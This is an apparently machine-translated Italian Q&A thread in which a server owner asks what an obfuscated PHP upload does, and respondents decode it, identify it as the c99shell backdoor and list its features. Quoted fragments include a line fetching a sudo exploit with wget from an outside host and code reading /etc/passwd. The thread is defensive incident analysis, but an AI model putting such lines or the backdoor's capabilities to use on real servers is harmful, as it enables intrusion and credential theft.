2010-09-14 21 views
22

ATTENZIONE: Questo è un possibile exploit. Non eseguire direttamente sul tuo server se non sei sicuro di cosa fare con questo.Hacked, cosa fa questo pezzo di codice?

http://pastehtml.com/view/1b1m2r6.txt

Credo che questo è stato caricato tramite uno script di upload insicuro. Come decodificare e decomprimere questo codice? Eseguirlo nel browser potrebbe eseguirlo come uno script di shell, aprire una porta o qualcosa del genere.

Posso eseguire una decodifica in base64 online ma non posso davvero decomprimerlo.

+0

E 'possibile per voi per incollare il codice qui? Non sono in grado di aprire questo link .. – jyz

+1

Ho paura che sia ancora eseguito. :(A proposito, puoi decomprimerlo ma non lo valuto – fabrik

+1

@jyzuz: Il codice è enorme. – fabrik

risposta

32

Quindi c'è una stringa. È codificato con gzip e base64 e il codice decodifica la base64 e quindi la decomprime.

Fatto questo, sto portato a questo:

<? eval(base64_decode('...')); ?> 

Un'altra strato di Base64, che è lungo 720440 byte.

Ora, decodifica base64, abbiamo 506961 byte di codice exploit.

Sto ancora esaminando il codice e aggiornerò questa risposta quando avrò più comprensione. Il codice è enorme.

Ancora lettura attraverso il codice e il (molto ben fatto) exploit permette questi strumenti per essere esposti a hacker:

  • configurazione TCP backdoor
  • accesso non autorizzato shell
  • lettura di tutti file htpasswd, htaccess, la password e configurazione
  • registro asciugandosi
  • MySQL accesso (lettura, scrittura)
  • accodamento Codice a tutti i file che corrispondono a un modello di nome (massa exploit)
  • RFI scanner/LFI
  • inondazioni UDP
  • informazioni kernel

Questo è probabilmente un toolkit professionale PHP-based a livello di server sfruttare, e visto che ha un'interfaccia HTML piacevole e l'intero lotto, potrebbe essere facilmente utilizzato da un hacker professionista o persino da uno script kiddie.

Questo exploit si chiama c99shell (grazie a Yi Jiang) e risulta essere stato molto popolare, di cui si parlava già da alcuni anni. Ci sono molti risultati su Google per questo exploit.

+3

Wow, è una configurazione backdoor completa. Anche se il tizio che lo ha caricato è probabilmente un altro kiddie dello script. È stato ospitato direttamente nella nostra directory root di apache. E un vero hacker l'avrebbe cancellato dopo aver installato la backdoor. – HyderA

+0

Ha uno script di shell, una stringa chiamata $ backdoor, che è scritta ed eseguita. Il PHP informa quindi l'utente che è stato fatto e di connettersi con netcat. –

+4

Cazzo come questo mi spaventa 'array (" wget Sudo Exploit "," wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c "),' – HyderA

3

Prima di tutto, sostituire lo eval con un echo per vedere quale codice sarebbe eseguito se lo si lasciava fare. Invia l'output di quello script in un altro file, ad esempio test2.php. In quel file, ripeti lo stesso trucco. Eseguilo e genererà il programma dannoso completo (è piuttosto una bestia), ~ 4k linee di delizia per gli hacker.

+0

Hai ragione, perché non ci ho pensato ?! – HyderA

16

Guardando la sorgente decodificata di Delan, sembra una vera e propria backdoor che fornisce un'interfaccia web che può essere utilizzata per controllare il server in vari modi.Raccontare frammenti dalla fonte:

echo '<center>Are you sure you want to install an IP:Port proxy on this 
website/server?<br /> 

o

<b>Mass Code Injection:</b><br><br> 
Use this to add PHP to the end of every .php page in the directory specified. 

o

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . 
    round(($pakits*65)/1024, 2) . " MB) packets averaging ". 
    round($pakits/$exec_time, 2) . " packets per second \n"; 

o

if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 

vi consiglio per fregare quel server e reinstallare tutto da graffiare.

+4

+1 da parte mia, buon consiglio. –

7

So Delan Azabani ha fatto questo, ma solo così si in realtà so come ha ottenuto i dati fuori:

Solo nel caso vi state chiedendo come per decomprimere questo, utilizzare base64 -d filename > output per analizzare le stringhe base64 e gunzip file.name.gz a analizzare i dati compressi.

Il trucco sta nel riconoscere che quello che hai è base64 o gunzip e decomprimere i bit giusti.

In questo modo non va assolutamente vicino a un parser JS o al parser PHP.

+2

Grande consiglio di sicurezza; non lasciarlo mai eseguire. –

2

Questo è il codice per shell PHP.
a decodificare questo

sostituire sostituire eval ("?>". Con stampa ( periodo questo

php5 file.php > file2.php 

quindi sostituire eval con stampa ed eseguire nel browser. http://loclhost/file2.php